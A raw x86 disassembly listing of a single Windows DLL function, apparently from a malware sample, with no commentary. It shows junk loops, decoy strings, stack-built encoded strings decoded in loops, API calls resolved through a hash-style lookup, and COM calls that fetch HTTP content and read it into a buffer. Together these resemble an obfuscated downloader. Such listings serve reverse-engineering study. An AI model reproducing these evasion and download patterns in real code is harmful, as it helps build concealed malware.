cmp esi, 0x68e5
jl 0x10019045
inc edi
cmp edi, 0x600d
jl 0x10019043
push dword [ebp - 0x210]
movdqa xmm0, xmmword [0x1006b960]
lea eax, [ebp - 0x3d8]
push eax
lea eax, [ebp - 0x3e8]
mov dword [ebp - 0x1b4], ebx
push eax
push ebx
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x1b0], ebx
movdqu xmmword [ebp - 0x3e8], xmm0
mov dword [ebp - 0x1ac], ebx
call fcn.10013128
cmp dword [ebp - 0x1c], 0x2fab
jge 0x100190de
push str.joqf_mknavsb_lwa_zoudax_iemr_jiuy_oiyeuc_xqxlzw_dazaqh
call fcn.10044793
pop ecx
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x88], 1
mov dword [ebp - 0x1c], 0x506946cb
mov dword [ebp - 0x38], 0x4bab92a1
mov dword [ebp - 0x20], 0xfe21
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1001911e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5c], 0x68ec0ae9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10019110
mov dword [ebp - 0x5c], ebx
cmp dword [ebp - 0x5c], 0xffffffff
jge 0x10019360
mov dword [ebp - 0x14], 0x5c7a00f4
lea ecx, [ebp - 0x37c]
push 2
call fcn.1000f820
push 0x3d75
lea eax, [ebp - 0x380]
mov byte [ebp - 4], 0x1f
push eax
push 0x7daa
push ebx
lea eax, [ebp - 0x37c]
mov edx, 0x668d
push eax
push 1
mov cl, 1
call fcn.1001749b
mov dword [ebp - 0x14], 3
add esp, 0x18
cmp dword [ebp - 0x14], ebx
jl 0x10019224
mov dword [ebp - 0x204], 0xffffffff
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x18], ebx
jmp 0x100191aa
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x33c], 3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10019199
lea eax, [ebp - 0x204]
mov edx, 0x4304
push eax
push 0x37a
push 0x4e4c
push 1
push 0x4593
push ebx
mov cl, 1
call fcn.1001749b
mov eax, dword [ebp - 0x5c]
xor edx, edx
mov dword [ebp - 0x33c], 0xe305
add esp, 0x18
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1b4]
cmp dword [eax + ecx*4], ebx
mov ecx, dword [ebp - 0x14]
setne dl
mov dword [ebp - 0x2c], edx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [eax + ecx*4]
add ecx, dword [eax + edx*4]
xor eax, eax
cmp ecx, dword [ebp - 0x2c]
setne al
sub eax, 0x5542
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x14]
jns 0x10019183
mov dword [ebp - 0x14], 0xc
cmp dword [ebp - 0x14], 5
jg 0x10019349
mov dword [ebp - 0x1a0], 0xfffffff6
mov dword [ebp - 0x250], 0x2e63372
mov dword [ebp - 0x2c], 0x472b
cmp dword [ebp - 0x2c], 0x47d4
jle 0x100192be
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov ecx, ebx
mov dword [ebp - 0x194], 0x7bea
mov dword [ebp - 0x18], ecx
sar eax, cl
mov edi, ebx
mov dword [ebp - 0x38], eax
and eax, edi
mov ecx, 0x10078798
cdq
push edx
push eax
call fcn.1000f531
mov eax, dword [ebp - 0x38]
inc edi
cmp edi, 0x5d4e
jl 0x1001927c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
add ecx, esi
dec dword [ebp - 0x194]
mov dword [ebp - 0x18], ecx
jne 0x10019275
inc esi
cmp esi, 0x6648
jl 0x10019266
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x1c57
jl 0x10019264
push ecx
lea eax, [ebp - 0x1a0]
push eax
push ebx
push 0x6b6
push 0x3ca
lea edx, [ebp - 0x1b4]
lea ecx, [ebp - 0x88]
call fcn.10017cbc
add esp, 0x14
mov byte [ebp - 4], 0x20
cmp dword [ebp - 0x2c], 0x4492
jge 0x10019322
mov edx, str.pwejaojx_bxdgdrt_ajjigmg_njz_iokna_akhmy_bmpqzho_ewngdf
mov ecx, 0x10078798
call fcn.10012752
jmp 0x10019322
lea eax, [ebp - 0x250]
mov dword [ebp - 4], 0x1f
push eax
push 1
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.10017d28
add esp, 0xc
dec dword [ebp - 0x14]
jmp 0x1001922b
lea ecx, [ebp - 0x37c]
mov byte [ebp - 4], 0x1c
call fcn.1000f8a3
dec dword [ebp - 0x5c]
jmp 0x10019127
cmp dword [ebp - 0x5c], 0x1d68c2af
jle 0x100193c6
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1b4]
sub ecx, dword [eax]
mov dword [ebp - 0x88], ecx
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x5c]
cmp eax, 0xffff
mov eax, dword [ebp - 0x20]
setne dl
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], ebx
jne 0x100193ba
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x5c]
add ecx, 9
add eax, ecx
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0xc
call fcn.1000f8a3
push 0x31
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0x158], 0x9031915
mov byte [ebp - 0x154], 0x24
mov byte [ebp - 0x153], bl
mov dword [ebp - 0x152], 0xf210114
mov dword [ebp - 0x14e], 0x7123021d
mov word [ebp - 0x14a], 0x7506
mov byte [ebp - 0x148], 0x1a
mov byte [ebp - 0x147], bl
mov word [ebp - 0x146], 0x731b
mov byte [ebp - 0x144], 4
mov byte [ebp - 0x143], bl
mov word [ebp - 0x142], 0x7205
mov byte [ebp - 0x140], bl
mov dword [ebp - 0x13f], 0x173d1e4a
mov dword [ebp - 0x13b], 0x22051072
mov dword [ebp - 0x137], 0xb140908
mov dword [ebp - 0x133], 0x2577111e
mov dword [ebp - 0x12f], 0x1490c39
mov dword [ebp - 0x12b], 0xd0d20f8
mov byte [ebp - 0x127], bl
mov dword [ebp - 0x126], 0x76127d08
mov dword [ebp - 0x122], 0x41c060a
mov dword [ebp - 0x11e], 0x750f7402
mov dword [ebp - 0x11a], 0x1a1f1c0e
mov dword [ebp - 0x116], 0x1d130719
mov dword [ebp - 0x112], 0x7d076801
mov dword [ebp - 0x10e], 0x6c187916
mov word [ebp - 0x52e], ax
pop esi
mov dword [ebp - 0x16c], ecx
cmp esi, 0x2c
jne 0x100194f6
push 2
pop ecx
mov dword [ebp - 0x16c], ecx
jmp 0x10019544
movzx edx, byte [ebp + esi - 0x157]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x15a]
movzx ecx, word [ebp + eax*2 - 0x558]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x158]
add ecx, edx
lea edx, [ebp - 0x16c]
push ecx
push 1
push ecx
mov word [ebp + eax*2 - 0x558], cx
call fcn.10017acd
mov ecx, dword [ebp - 0x16c]
add esp, 0xc
add esi, 2
cmp esi, 0x4e
jb 0x100194e6
xor eax, eax
lea ecx, [ebp - 0x32c]
mov word [ebp - 0x50c], ax
mov dword [ebp - 0x258], 0x28ade19d
mov dword [ebp - 0x4c], 0xb0e446df
mov dword [ebp - 0x260], 0xffffffff
push 1
call fcn.1000f820
push ecx
lea eax, [ebp - 0x330]
mov byte [ebp - 4], 0x22
push eax
push 1
lea edx, [ebp - 0x32c]
call fcn.10016d9f
add esp, 0xc
lea eax, [ebp - 0x258]
push 1
push eax
lea eax, [ebp - 0x260]
push eax
push ecx
lea ecx, [ebp - 0x4c]
call fcn.10016ab0
add esp, 0x10
mov dword [ebp - 0x4c], 7
jmp 0x100195e5
mov dword [ebp - 0x18], ebx
jmp 0x100195d4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3f4], 1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100195c3
cmp dword [ebp - 0x3f4], ebx
jne 0x100195eb
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0x1d
jne 0x100195be
lea ecx, [ebp - 0x32c]
mov byte [ebp - 4], 0xc
call fcn.1000f8a3
xor eax, eax
mov dword [ebp - 0x2c4], 7
mov word [ebp - 0x2d8], ax
lea ecx, [ebp - 0x2d8]
lea eax, [ebp - 0x558]
mov dword [ebp - 0x2c8], ebx
push eax
call fcn.1001a0ad
push 1
push ecx
push ecx
mov edx, 0x15d3
mov byte [ebp - 4], 0x23
mov ecx, 0x75a1
call fcn.10017284
add esp, 0xc
lea edi, [ebp - 0x558]
xor eax, eax
push 0x13
pop ecx
rep stosd dword es:[edi], eax
push 3
lea ecx, [ebp - 0x290]
stosw word es:[edi], ax
mov dword [ebp - 0x200], 0xfffffff9
mov dword [ebp - 0x24c], 0xffff
call fcn.1000f820
push ebx
lea eax, [ebp - 0x290]
mov byte [ebp - 4], 0x24
push eax
lea eax, [ebp - 0x198]
push eax
push ecx
call fcn.10017147
lea eax, [ebp - 0x24c]
push eax
push 1
lea eax, [ebp - 0x290]
push eax
push 0x5fd5
push 0x4cb4
lea edx, [ebp - 0x200]
call fcn.10017b0c
add esp, 0x24
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x290]
call fcn.1000f8a3
mov dword [ebp - 0x18], 0xfff7
cmp dword [ebp - 0x18], 0x25ef2c36
je 0x100196d2
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
add eax, 0x9949
xor ecx, ecx
neg edx
cmp eax, 0xfffffff7
setne cl
cmp edx, ecx
jge 0x10019709
mov byte [ebp - 0x42], bl
cmp byte [ebp - 0x42], 0
je 0x1001973f
push ebx
push ecx
call fcn.10016b96
pop ecx
pop ecx
jmp 0x1001973f
push 0x343a
push 0x3f64
push 0x822
push 0x6578
push 0x3733
lea eax, [ebp - 0x3d]
mov byte [ebp - 0x3d], bl
push eax
push ecx
push 0x1338
push ecx
push 0x33b4
mov dl, 1
call fcn.10017c3b
add esp, 0x28
push 0x30
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0x108], 0x7214f01a
mov dword [ebp - 0x104], 0x69130603
mov dword [ebp - 0x100], 0x5021e0d
mov word [ebp - 0xfc], 0x224
mov byte [ebp - 0xfa], bl
mov dword [ebp - 0xf9], 0x1856094f
mov byte [ebp - 0xf5], bl
mov dword [ebp - 0xf4], 0x921140a
mov dword [ebp - 0xf0], 0x7f04761e
mov dword [ebp - 0xec], 0x75057c17
mov dword [ebp - 0xe8], 0x419041d
mov dword [ebp - 0xe4], 0x74010216
mov dword [ebp - 0xe0], 0x10c7008
mov dword [ebp - 0xdc], 0x500e4a25
mov dword [ebp - 0xd8], 0x51b6b06
mov dword [ebp - 0xd4], 0x5e017207
mov dword [ebp - 0xd0], 0x2100215
mov word [ebp - 0xcc], 0x7322
mov byte [ebp - 0xca], 0x23
mov byte [ebp - 0xc9], bl
mov dword [ebp - 0xc8], 0x10f721c
mov dword [ebp - 0xc4], 0x700b0212
mov dword [ebp - 0xc0], 0x7d117a20
mov word [ebp - 0xbc], 0x7d1f
mov word [ebp - 0x4d4], ax
pop esi
mov dword [ebp - 0x160], ecx
cmp esi, 0x36
jne 0x10019842
push 2
pop ecx
mov dword [ebp - 0x160], ecx
jmp 0x1001989d
movzx edx, byte [ebp + esi - 0x107]
lea eax, [ebp - 0x108]
sub eax, ecx
mov ecx, edx
movzx eax, byte [eax + esi - 2]
movzx eax, word [ebp + eax*2 - 0x508]
and edx, eax
or ecx, eax
movzx eax, byte [ebp + esi - 0x108]
sub ecx, edx
push ecx
push 0x65e8
sub esp, 0xc
mov dl, 1
mov word [ebp + eax*2 - 0x508], cx
lea eax, [ebp - 0x160]
push 0x5240
push eax
push ecx
call fcn.10016de4
mov ecx, dword [ebp - 0x160]
add esp, 0x20
add esi, 2
cmp esi, 0x4e
jb 0x10019832
xor eax, eax
mov dword [ebp - 0x2fc], 7
mov word [ebp - 0x4bc], ax
lea ecx, [ebp - 0x310]
mov word [ebp - 0x310], ax
lea eax, [ebp - 0x508]
push eax
mov dword [ebp - 0x300], ebx
call fcn.1001a0ad
push 0x13
pop ecx
xor eax, eax
mov byte [ebp - 4], 0x25
cmp dword [ebp - 0x2c4], 8
lea edi, [ebp - 0x508]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x414]
mov esi, 0xb396
push ecx
stosw word es:[edi], ax
lea eax, [ebp - 0x2d8]
cmovae eax, dword [ebp - 0x2d8]
mov edi, 0x123c6
push eax
push esi
push edi
call fcn.1002ce5e
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10019d6c
cmp dword [ebp - 0x2fc], 8
lea ecx, [ebp - 0x404]
push ecx
lea eax, [ebp - 0x310]
cmovae eax, dword [ebp - 0x310]
push eax
push esi
push edi
call fcn.1002ce5e
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10019d6c
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x414]
push eax
push 3
push ebx
lea eax, [ebp - 0x404]
push eax
push esi
push 0xb932
call fcn.1002ce5e
pop ecx
pop ecx
call eax
test eax, eax
js 0x10019d6c
cmp dword [ebp - 0x3c], 0
je 0x10019d6c
lea eax, [ebp - 0x3c8]
mov cl, 1
push eax
call fcn.10016bc1
pop ecx
xor eax, eax
mov dword [ebp - 0x7c], 0x1102e301
push 0x65
mov word [ebp - 0x3c0], ax
pop eax
push 2
mov byte [ebp - 0x78], bl
mov byte [ebp - 0x77], 0x33
mov word [ebp - 0x176], ax
pop esi
movzx eax, byte [ebp + esi - 0x7e]
movzx edx, byte [ebp + esi - 0x7b]
mov ecx, edx
movzx eax, word [ebp + eax*2 - 0x178]
or ecx, eax
and edx, eax
movzx eax, byte [ebp + esi - 0x7c]
sub ecx, edx
add esi, 2
mov word [ebp + eax*2 - 0x178], cx
cmp esi, 6
jb 0x100199bb
xor eax, eax
mov dword [ebp - 0x1c8], 7
mov word [ebp - 0x172], ax
lea ecx, [ebp - 0x1dc]
mov word [ebp - 0x1dc], ax
lea eax, [ebp - 0x178]
push eax
mov dword [ebp - 0x1cc], ebx
call fcn.1001a0ad
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x1dc]
cmp dword [ebp - 0x1c8], 8
mov eax, dword [ebp - 0x1cc]
cmovae ecx, dword [ebp - 0x1dc]
push dword [ebp - 0x198]
mov dword [ebp - 0x178], ebx
mov dword [ebp - 0x174], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x22c], ebx
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0x228], ebx
cmovae ecx, dword [ebp - 0x1dc]
push eax
push ecx
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0x224], ebx
call fcn.1001a7cc
push ebx
push 0x5625
push 0x2066
lea ecx, [ebp - 0x22c]
mov byte [ebp - 4], 0x27
call fcn.10017557
mov edx, dword [ebp - 0x60]
add esp, 0xc
cmp dword [edx + 0x14], 8
jb 0x10019aa5
mov ecx, dword [edx]
jmp 0x10019aa7
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x10019ab5
mov edx, dword [edx]
push dword [ebp - 0x198]
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x1e8], ebx
push eax
push edx
mov dword [ebp - 0x1e4], ebx
mov dword [ebp - 0x1e0], ebx
call fcn.1001a7cc
push ecx
push 1
push ecx
lea eax, [ebp - 0x1e8]
mov byte [ebp - 4], 0x28
push eax
push ecx
mov ecx, 0x4098
call fcn.10016cae
cmp dword [ebp - 0x1c8], 8
lea edx, [ebp - 0x1dc]
lea esi, [ebp - 0x320]
mov eax, dword [ebp - 0x3c]
cmovae edx, dword [ebp - 0x1dc]
add esp, 4
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x320]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x3c8]
push dword [ebp - 0x1e8]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x10019d33
mov esi, dword [ebp - 0x190]
mov cl, 1
mov dword [ebp - 0x168], ebx
cmp esi, dword [ebp - 0x18c]
je 0x10019bad
add esi, 0x18
test cl, cl
je 0x10019b95
cmp dword [esi + 0x14], 8
jb 0x10019b74
mov edi, dword [esi]
jmp 0x10019b76
mov edi, esi
cmp dword [esi - 4], 8
jb 0x10019b81
mov edx, dword [esi - 0x18]
jmp 0x10019b84
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x3c]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10019b97
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x18c]
jne 0x10019b66
test cl, cl
je 0x10019d33
mov eax, dword [ebp - 0x3c]
lea esi, [ebp - 0x320]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x10019d33
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x168]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10019d33
cmp dword [ebp - 0x168], 0x130
je 0x10019c01
cmp dword [ebp - 0x168], 0xc8
jne 0x10019d33
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x428]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x10019d33
mov esi, dword [ebp - 0x420]
mov dword [ebp - 0x248], esi
test esi, esi
je 0x10019d33
mov eax, dword [esi]
lea ecx, [ebp - 0x5a0]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x10019cec
mov eax, dword [ebp - 0x598]
mov edx, 0x7d0b
push ecx
push 0x2fe7
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push 1
push eax
lea eax, [ebp - 0x184]
push eax
lea ecx, [edx - 3]
call fcn.10017cbc
mov edx, dword [ebp - 0x80]
mov edi, ebx
mov dword [ebp - 0x170], ebx
add esp, 0x14
mov ebx, dword [ebp - 0x184]
mov dword [ebp - 0x1a4], edx
mov ecx, dword [esi]
lea eax, [ebx + edi]
lea ebx, [ebp - 0x170]
push ebx
push edx
push eax
push esi
call dword [ecx + 0xc]
mov ebx, dword [ebp - 0x184]
test eax, eax
js 0x10019ccd
add edi, dword [ebp - 0x170]
lea eax, [ebp - 0x170]
push eax
push ecx
mov dl, 1
lea ecx, [ebp - 0x1a4]
call fcn.10016d72
pop ecx
pop ecx
cmp edi, dword [ebp - 0x80]
jae 0x10019cd0
mov edx, dword [ebp - 0x1a4]
jmp 0x10019c87
cmp edi, dword [ebp - 0x80]
push 0
pop ebx
je 0x10019cec
lea eax, [ebp - 0x184]
mov edx, 0x725
push eax
push ecx
push ebx
push ecx
call fcn.10017415
add esp, 0x10
push 0x7760
push 0x3c2e
push 0x63e3
push 0x17f4
push 0x63e6
push 0x4032
push 0x762d
lea eax, [ebp - 0x248]
mov edx, 0x2b77
push eax
push 1
push 0x33fc
push 1
push 0x6627
mov cl, 1
call fcn.10017e13
add esp, 0x30
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x3c], ebx
call fcn.10010710
lea ecx, [ebp - 0x22c]
call fcn.10010710
push ebx
push 1
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 4], 0x25
call fcn.10010352
mov esi, 0xb396
push esi
push 0xebae
call fcn.1002ce5e
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x25c]
lea eax, [ebp - 0x184]
push eax
call fcn.10019ff8
push ebx
push 1
lea ecx, [ebp - 0x310]
call fcn.10010352
push ebx
push 1
lea ecx, [ebp - 0x2d8]
call fcn.10010352
lea ecx, [ebp - 0x190]
call fcn.1001a135
lea ecx, [ebp - 0x184]
call fcn.1001a205
lea ecx, [ebp + 8]
call fcn.1001a135
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret